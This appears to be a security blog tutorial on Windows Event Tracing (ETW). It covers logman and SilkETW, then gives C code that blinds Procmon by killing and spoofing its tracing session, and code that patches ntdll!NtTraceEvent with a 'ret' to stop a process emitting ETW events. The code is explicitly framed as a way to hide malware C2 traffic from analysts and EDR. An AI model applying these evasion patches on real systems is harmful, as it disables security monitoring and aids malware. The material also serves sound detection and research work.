Table of content


The Event Tracing for Windows or ETW is the mechanism used by Windows to log system events. ETW are designed through a provider/consumer concept. The different process write their events in the providers and the consumers can access to these events through the providers.

ETW Workflow

Several antivirus or EDR solutions such as Microsoft ATP heavily use these events to monitor the system.

The ETW events can be raised by the kernel but also by some userland functions. For example, when performing a simple HTTP request to use the WinHTTP API, an event is raised by the WinHttpSendRequest function on userland, but another event is also raised by the kernel when the connection is bound at the OS level.

While removing userland events can be quite easy, tackling down kernel events can be more challenging.


Windows provides a built-in tool to access to the ETW tracing sessions: logman. This tool can be used to create, inspect and modify tracing sessions, inspect the different providers and other interesting things.


The providers are the first stage of the ETW workflow. They are used to collect and categorize events generated by the different processes.

List providers

The different providers can be listed using the following lgoman command:

logman query providers

# Provider                                 GUID
# -------------------------------------------------------------------------------
# _802dot1X                                {1B243C08-ABC2-C043-37FD-A730D9E8E45C}
# ACPI Driver Trace Provider               {DAB01D4D-2D48-477D-B1C3-DAAD0CE6F06B}
# Active Directory Domain Services: SAM    {8E598056-8993-11D2-819E-0000F875A064}
# Active Directory: Kerberos Client        {BBA3ADD2-C229-4CDB-AE2B-57EB6966B0C4}
# Active Directory: NetLogon               {F33959B4-DBEC-11D2-895B-00C04F79AB69}
# ADODB.1                                  {04C8A86F-3369-12F8-4769-24E484A9E725}
# ADOMD.1                                  {7EA56435-3F2F-3F63-A829-F0B35B5CAD41}
# Application Popup                        {47BFA2B7-BD54-4FAC-B70B-29021084CA8F}
# Application-Addon-Event-Provider         {A83FA99F-C356-4DED-9FD6-5A5EB8546D68}
# ATA Port Driver Tracing Provider         {D08BD885-501E-489A-BAC6-B7D24BFE6BBF}
# AuthFw NetShell Plugin                   {935F4AE6-845D-41C6-97FA-380DAD429B72}
# ...

As you can see, there are a lot of providers. Each provider is "specialized" in some types of events (such as the Microsoft-Windows-WinHTTP) but some other can compile several types of events such as the Windows Kernel Trace that compile event raised by kernel functions such as VirtualAlloc or CreateProcess.

Inspect Providers

If you want to retrieve a specific type of event, it could be quite challenging as the providers dumped by logman do not show the event they are channeling.

However, logman can be used to inspect the different providers and extract the events they provide.

logman query providers "Microsoft-Windows-WinHTTP"
Provider                                 GUID
Microsoft-Windows-WinHttp                {7D44233D-3055-4B9C-BA64-0D47CA40A232}

# Value               Keyword              Description
# -------------------------------------------------------------------------------
# 0x0000000000000001  Keyword.API          API
# 0x0000000000000020  WINHTTP_KEYWORD_AUTOPROXY Flagged on all WinHTTP events dealing with AUTOPROXY
# 0x0000000100000000  Keyword.SEND         SEND
# 0x0000000200000000  Keyword.RECEIVE      RECEIVE
# 0x0000000400000000  Keyword.L3_CONNECT   L3_CONNECT
# 0x0000001000000000  Keyword.CLOSE        CLOSE
# 0x0000002000000000  Keyword.SECURITY     SECURITY
# 0x0000004000000000  Keyword.CONFIGURATION CONFIGURATION
# 0x0000008000000000  Keyword.GLOBAL       GLOBAL
# 0x0000010000000000  Keyword.DROPPED      DROPPED
# 0x0000020000000000  Keyword.PII_PRESENT  PII_PRESENT
# 0x0000040000000000  Keyword.PACKET       PACKET
# 0x0000080000000000  Keyword.ADDRESS      ADDRESS
# 0x0000100000000000  Keyword.CONTEXT_EVENT CONTEXT_EVENT
# 0x0000200000000000  Keyword.STATE_TRANSITION STATE_TRANSITION
# 0x0001000000000000  win:ResponseTime     Response Time
# 0x0080000000000000  win:EventlogClassic  Classic
# 0x8000000000000000  Microsoft-Windows-WinHttp/Diagnostic
# 0x4000000000000000  Microsoft-Windows-WinHTTP-NDF/Diagnostic
# ...

Likewise, this command dumps the different event keys logged by the provider and several other information such as the verbosity level or the different processes that provide events to this provider.

However, it is not possible to retrieve more information about the events as they are usually not documented and it is one of the most important problem with ETW for defenders.

Tracing sessions

As explained in the ETW workflow, the providers collect events raised by processes and tracing sessions will retrieve these events from the providers. The tracing sessions can be seen as a collection of events coming from different chosen providers.

For example, if you want to only retrieve event raised by memory allocation and HTTP connections, you will not be able to find one provider that collects these two types of events. However, you can create a tracing session fed by the Windows Kernel Tracing and the Microsoft-Windows-WinHTTP provider that will give you the two types of events you want.

Tracing sessions can be seen as a personal collection of events.

List tracing sessions

Logman can be used to display the active tracing sessions:

logman query -ets

# Data Collector Set                      Type                          Status
# -------------------------------------------------------------------------------
# Circular Kernel Context Logger          Trace                         Running
# Eventlog-Security                       Trace                         Running
# DiagLog                                 Trace                         Running
# Diagtrack-Listener                      Trace                         Running
# EventLog-Application                    Trace                         Running
# EventLog-System                         Trace                         Running
# iclsClient                              Trace                         Running
# ...

Inspect tracing sessions

The different tracing sessions are linked to providers. It is possible to inspect the providers queried by each tracing session with the following logman command:

logman query iclsClient -ets

# Name:                 iclsClient
# Status:               Running
# Root Path:            C:\Windows\System32\LogFiles\WMI\Intel\iCLSClient
# Segment:              Off
# Schedules:            On
# Segment Max Size:     40 MB
# Name:                 iclsClient\iclsClient
# Type:                 Trace
# Output Location:      C:\Windows\System32\LogFiles\WMI\Intel\iCLSClient\iclsClient.etl.013
# Append:               Off
# Circular:             On
# Overwrite:            Off
# Buffer Size:          4
# Buffers Lost:         0
# Buffers Written:      23
# Buffer Flush Timer:   2
# Clock Type:           Performance
# File Mode:            File
# Provider:
# Name:                 Intel-Autologger-iclsClient
# Provider Guid:        {B8D7E9A0-65D5-40BE-AFEA-83593FC0164E}
# Level:                255
# KeywordsAll:          0x0
# KeywordsAny:          0xffffffffffffffff
# Properties:           64
# Filter Type:          0

Use tracing sessions

The following command can be used to start a tracing session

logman create trace ${tracingSessionName} -ets

Once the session is created, some providers must be added using the following command :

logman update ${tracingSessionName} -p ${providerName} ${eventValue} -ets

Likewise, a provider can be removed using the following command:

logman update trace ${tracingSessionName} --p ${providerName} ${eventValue} -ets

The tracing session can be stopped using :

logman stop spotless-tracing -ets

The tracing session creates an etl file that can be viewed with Event Viewer.


SilkETW is a tool allowing simple access to ETW events. Indeed, even if logman is quite interesting to inspect providers and tracing sessions, it is not really flexible and easy to use. Moreover, logman can be resource consuming as it logs events system wide.

SilkETW can be used to access to a specific provider and retrieve events either from userland or kerneland providers.

The tool will connect to a specific provider and dump the event in a file JSON formatted that can be easily displayed using a simple text editor.

For example, the following JSON represents an event raised by the kernel during a VirtualAlloc execution:

  "ProviderGuid": "9e814aad-3204-11d2-9a82-006008a86939",
  "YaraMatch": [],
  "ProviderName": "MSNT_SystemTrace",
  "EventName": "PageFault/VirtualAlloc",
  "Opcode": 98,
  "OpcodeName": "VirtualAlloc",
  "TimeStamp": "2022-09-08T14:30:15.9588384+02:00",
  "ThreadID": 37036,
  "ProcessID": 35088,
  "ProcessName": "HTTP",
  "PointerSize": 8,
  "EventDataLength": 24,
  "XmlEventData": {
    "ProviderName": "MSNT_SystemTrace",
    "ProcessId": "35,088",
    "EventName": "PageFault/VirtualAlloc",
    "PID": "35088",
    "Flags": "12,288",
    "TID": "37036",
    "BaseAddress": "0x1094a030000",
    "RegionSize": "0x1000",
    "MSec": "10155.6890",
    "PName": "HTTP"

The Github documentation is well written and contains all the information needed to use the tool.


Procmon is a tool from the SysInternal Suite that allows monitoring events system wide. In order to catch events, Procmon leverage the following techniques:

  • System minifilters
  • Registry minifilters
  • Process and thread callback
  • ETW for network events

Blinding Procmon

For some events such as the TCP connections, Procmon use the ETW events. Indeed, when using logman with Procmon launched, the Procmon Event Tracing Session can be found:

logman query -ets | Select-String PROCMON
# PROCMON TRACE                           Trace                         Running

The goal is to be able to remove TCP and UDP entries from a Procmon tracing session.

The Pocmon tracing session can be easily stopped using logman :

logman stop "PROCMON TRACE" -ets

Once the session is stopped, Procmon is not able to log network events anymore as it only uses ETW to collect these events.

Automating the process

Using logman to blind Procmon is a nice proof of concept, however, a simple restart of Procmon fixes the problem as the session is restarted by the software.

The idea now is to be able to permanently blind Procmon. A use case is a malware performing network connection with a remote C2. Blinding Procmon will make the malware reversing less obvious. Indeed, there are several other tools that can be used to detect network connections performed, but it is a first step and as said before, a simnple proof of concept on ETW vulnerabilties.

When Procmon is launched, it will automatically create a tracing session named PROCMON TRACE. this session is automatically killed when Procmon is closed. Thus, the idea is to list the different tracing session, and when a Procmon tracing session is found, the program will kill it and recreate a new one not linked to any provider.

As the new tracing session will not be linked to any provider, it will not forward any events to Procmon.

The Win32 API contains several functions to play with ETW tracing sessions:

  • StartTrace: start a new tracing session
  • StopTrace and ControlTrace : stop a given tracing session
  • QueryTrace : retrieve the settings, properties and statistics of a tracing session
  • QueryAllTrace : retrieve the settings, properties and statistics of all active tracing session
  • PEVENT_TRACE_PROPERTIES : object used to store trace properties and statistics

Detect Procmon tracing session

First of all, an array of PEVENT_TRACE_PROPERTIES objects must be initialized:

// By default, Windows does not support more than 64 parallele tracing sessions
#define MAXSTR 1024

// Array containing all tracing sessions

// Object representing a single tracing session
ULONG SizeForOneProperty = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);
ULONG SizeNeeded = MAXIMUM_LOGGERS * SizeForOneProperty;

// Initializing tracingSessions internal structures
for (size_t LoggerCounter = 0; LoggerCounter < MAXIMUM_LOGGERS; LoggerCounter++) {
      singleTracingSession->Wnode.BufferSize = SizeForOneProperty;
        singleTracingSession->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
        singleTracingSession->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + MAXSTR * sizeof(TCHAR);

    // Set the value in the global tracing session array
    tracingSessions[LoggerCounter] = singleTracingSession;
    // Jump to the next tracing session to initialize
        singleTracingSession = (PEVENT_TRACE_PROPERTIES)((PUCHAR)singleTracingSession + singleTracingSession->Wnode.BufferSize);

Now the array tracingSessions is initialized, it can be populated using the Win32 API:

// Fill the tracingSessions array with all active sessions information
ULONG numberOfTracingSessions;
Status = QueryAllTraces(

From now, the tracingSessions object contains at least the name of all active tracing sessions accessible to the process.

Indeed, some tracing sessions can only be accessed by a high integrity process.

Let’s find the Procmon tracing session:

// variable containing the tracing session name
LPTSTR sessionName;
for(size_t tracingCount; tracingCount < numberOfTracingSessions; tracingCount ++){
  // Check if the tracing property contains the tracing session name
  // and store it in sessionName if it exists.
  if ((tracingSessions[tracingCount]->LoggerNameOffset > 0) && (tracingSessions[tracingCount]->LoggerNameOffset < tracingSessions[tracingCount]->Wnode.BufferSize)) {
    sessionName = (LPTSTR)((PUCHAR)tracingSessions[tracingCount] + tracingSessions[tracingCount]->LoggerNameOffset);
  else {
    sessionName = NULL;

  // Check if it is the Procmon tracing session
  if(_tcscmp(sessionName, L"PROCMON_TRACE")){
    // start the attack
    PEVENT_TRACE_PROPERTIES procmonTracingSession = tracingSessions[tracingCount];


Now the Procmon tracing session is found, let’s run the attack !

Kill Procmon tracing session

The first thing to do is to kill the Procmon tracing session:

ULONG status = StopTraceW((TRACEHANDLE)NULL, L"PROCMON TRACE", procmonTracingSession);

And that's it... The StopTraceW Win32 API will do all the work and kill the tracing session. Just check the returned status to verify nothing goes wrong.

At this moment Procmon should not be able to monitor network events anymore.

Let’s create a fake tracing session mimicking the Procmon legit tracing session.

Create a new tracing session

First of all, a PEVENT_TRACE_PROPERTIES object must be initialized as shown in the first part:

// Size allocated in the property object
ULONG SizeNeeded = sizeof(EVENT_TRACE_PROPERTIES) + 2 * MAXSTR * sizeof(TCHAR);

// Object handling the tracing session properties
RtlZeroMemory(newTracingSession, SizeNeeded);

newTracingSession->Wnode.BufferSize = SizeNeeded;

// Set the same expected `GUID`
GUID  procMonGuid = { 0x75955553, 0x2055, 0x11ED, { 0xA6, 0x4B, 0x78, 0x2B, 0x46, 0x20, 0x15, 0xF6 } }
newTracingSession->Wnode.Guid = procMonGuid;

// This information can be extracted using logman on the legit Procmon tracing session
newTracingSession->Wnode.ClientContext = 1;
newTracingSession->Wnode.Flags = EVENT_TRACE_FLAG_IMAGE_LOAD;
newTracingSession->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL;

newTracingSession->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
newTracingSession->LogFileNameOffset = newTracingSession->LoggerNameOffset + MAXSTR * sizeof(TCHAR);

newTracingSession->MaximumBuffers = 54;

tracingSessionName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LoggerNameOffset);
logFileName = (LPTSTR)((PCHAR)newTracingSession + newTracingSession->LogFileNameOffset);

// Set the tracing session name and the log storing path
_tcscpy_s(logFileName, MAXSTR, _T("C:\\LogFile.Etl"));
_tcscpy_s(tracingSessionName, MAXSTR, L"PROCMON_TRACE");

The tracing session object is initialized. Let’s register this new tracing session using the Win32 API:

TRACEHANDLE tracingSessionHandle = 0;
ULONG status = StartTraceW(&tracingSessionHandle, tracingSessionName, newTracingSession);

And that's it. The StartTraceW Win32 API will handle everything and start the tracing session.

Make it persistent

If you try the previous code, it will do the same thing that what have been done using logman thus, any Procmon restart will erase the modification and re-allows it to monitor network events.

In order to make the change persistent, it is possible to loop the whole attack:

// pseudo code
  // Check if any procmon tracing session exist
  // Retrieve the procmon tracing session
  procmonTracingSession = getProcmonTracingSession();
  // Stop it
  // Create a fake one
  // Wait until the fake one is deleted by procmon


This attack is interesting to understand how ETW can be used by software (such as EDR) to monitor processes execution through ETW and how malwares can try to evade ETW monitoring by tampering tracing sessions established.

The problem with ETW is that tracing sessions are global among the system and the modification performed by a given userland process could impact the whole detection mechanism system wide. However, several protection can be set up to avoid tracing session tampering by unprivileged process.

Indeed, some tracing session and providers can only be registered or updated by Protected Process Light or PPL processes. A good example is Defender ATP tracing sessions and providers. Even a high integrity process is not able to tamper the Defender tracing session.

Of course, PPL limitation is not fully secured as driver code or exploit could allow a malicious process to bypass the security but it is a start.

Patching ETW

The previous technique, focusing Procmon tracing session, leverages the fact that tracing sessions can be tampered by any process with the necessary privileges to access to the tracing session.

The following technique will not tamper the tracing sessions but the way a process reports events to the providers.

Indeed, the events are raised by the different processes and written in the providers. If the process is unable to write a new event in the providers, the security applications such as EDR cannot retrieve and analyze these events.

Writing event to a provider

The idea is to patch the Win32 API used to write event on the provider.

It is maybe possible to retrieve the Win32 API through documentation, but as everyone knows, 3 hours of debugging can avoid 15 minutes reading documentation. Thus let’s drop Microsoft documentation and fire up the debugger.

Finding the API

In order to find the API responsible for event writing, let’s use a simple code that generates an easy-to-catch event.

Using logman the following provider is found:

Microsoft-Windows-WinHttp                {7D44233D-3055-4B9C-BA64-0D47CA40A232}

This provider is interesting as it is only used when WinHTTP API is used.

Then, a simple code sending an HTTP request using the WinHTTP API:

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>

#pragma comment(lib, "winhttp.lib")
int main(void) {

    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer;
    BOOL  bResults = FALSE;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;

    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"WinHTTP Example/1.0",

    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, L"",

    // Create an HTTP request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", NULL,

    // Send a request.
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest,
            0, 0);

    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);

    // Keep checking for data until there is nothing left.
    if (bResults)
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable.\n",

            // Allocate space for the buffer.
            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
                printf("Out of memory\n");
                dwSize = 0;
                // Read the data.
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
                    dwSize, &dwDownloaded))
                    printf("Error %u in WinHttpReadData.\n", GetLastError());
                    printf("%s", pszOutBuffer);

                // Free the memory allocated to the buffer.
                delete[] pszOutBuffer;
        } while (dwSize > 0);

    // Report any errors.
    if (!bResults)
        printf("Error %d has occurred.\n", GetLastError());

    // Close any open handles.
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    return 0;

Finally, SilkETW is used to monitor the provider:

.\SilkETW.exe -t user -pn Microsoft-Windows-WinHttp  -ot file -p ./event.txt

The logfile written by SilkETW is JSON formatted and contains the Process ID it is thus easy to verify the event logged has been raised by our process or by another application running on the system.

Once SilkETW is launched and the test program compiled, let’s run it to verify if an event is raised. You should see between 2 and 4 events raised. The test program will raise these events each time it is run.

Let’s go step by step. First, try to identify which function raises an event. Set some system("PAUSE") before each function and wait for an event to be raised.

For example, the function WinHttpSendRequest will raise a single event. Let’s use this function for the next investigations.

Once the function is found, we will use a debugger to follow the call stack until an event is raised. The idea is to run the debugger until a call raise an event.

Inside the WINHTTP!WinHttpSendRequest function, the following line raises the event:

Function raising an ETW event

Thus, the program is restarted, a breakpoint is set in the function WINHTTP!WinHttpSendRequest and the code is debugged until a new event is raised.

After iterating this process several times, the following call stack is found:



This callstack shows that the function EtwEventWriteFull is the Win32 API used to write an event in the provider when using the WinHTTP API. In fact, this API is used by every userland process. This is convenient as there is a single API to write events and it is located in the NTDLL.DLL.

Thus, this function can be patched to avoid process writing event in the providers.

Patch the DLL

Now we know which function is used to write events in the providers, let’s patch it to avoid any event written by the process.

The patch will be a simple ret added at the beginning of ntdll!NtTraceEvent. The following code can be used to apply the patch:

void patchETW() {
    // Retrieve the function to patch
    PVOID NtTraceEvent = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
    DWORD dwOld;
    // Simple patch representing the ret instruction
    DWORD retPatch = 0xc3;
    // Modify page protection to be able to write the patch
    // PAGE_EXECUTE_READWRITE is mandatory as the function is often used
    VirtualProtect((LPVOID)((DWORD64)NtTraceEvent), 1, PAGE_EXECUTE_READWRITE, &dwOld);
    // Write the patch
    CopyMemory((LPVOID)((DWORD64)NtTraceEvent), &retPatch, 1);
    // Reprotect the page as PAGE_EXECUTE_READ
    VirtualProtect((LPVOID)((DWORD64)NtTraceEvent), 1, dwOld, &dwOld);

Once the patch is applied, the modification can be analyzed in Windbg:

Patch in ntdll!NtTraceEvent

Finally, the program is relaunched without debugger and the events are monitored using SilkETW. If the patch has been successfully implemented, no event should be monitored by SilkETW.


Patching the NtTraceEvent function is a quick way to deactivate ETW events raised by the process. However, as the NTDLL.dll is patched, any EDR performing integrity check will raise an alert. Likewise, in order to patch the API, the page protection is set as PAGE_EXECUTE_READWRITE during the patch writing, an EDR could find the action suspicious and raise an alert.

However, the most important limit is that this attack will only patch event raised in usermode. Indeed, every event raised by kernel functions such as VirtualAlloc or network primitives cannot be avoided with this technique.

Indeed, if you patch the ETW with this technique and you launch Procmon, it will still log the TCP connections performed as it uses ETW events raised by the kernel only. In order to fully patch ETW a driver must be used. Fortunately, ETW structures are not monitored by KPP and can be patched without triggering a BSOD. But this will be a part of another blogpost...

results matching ""

    No results matching ""

    results matching ""

      No results matching ""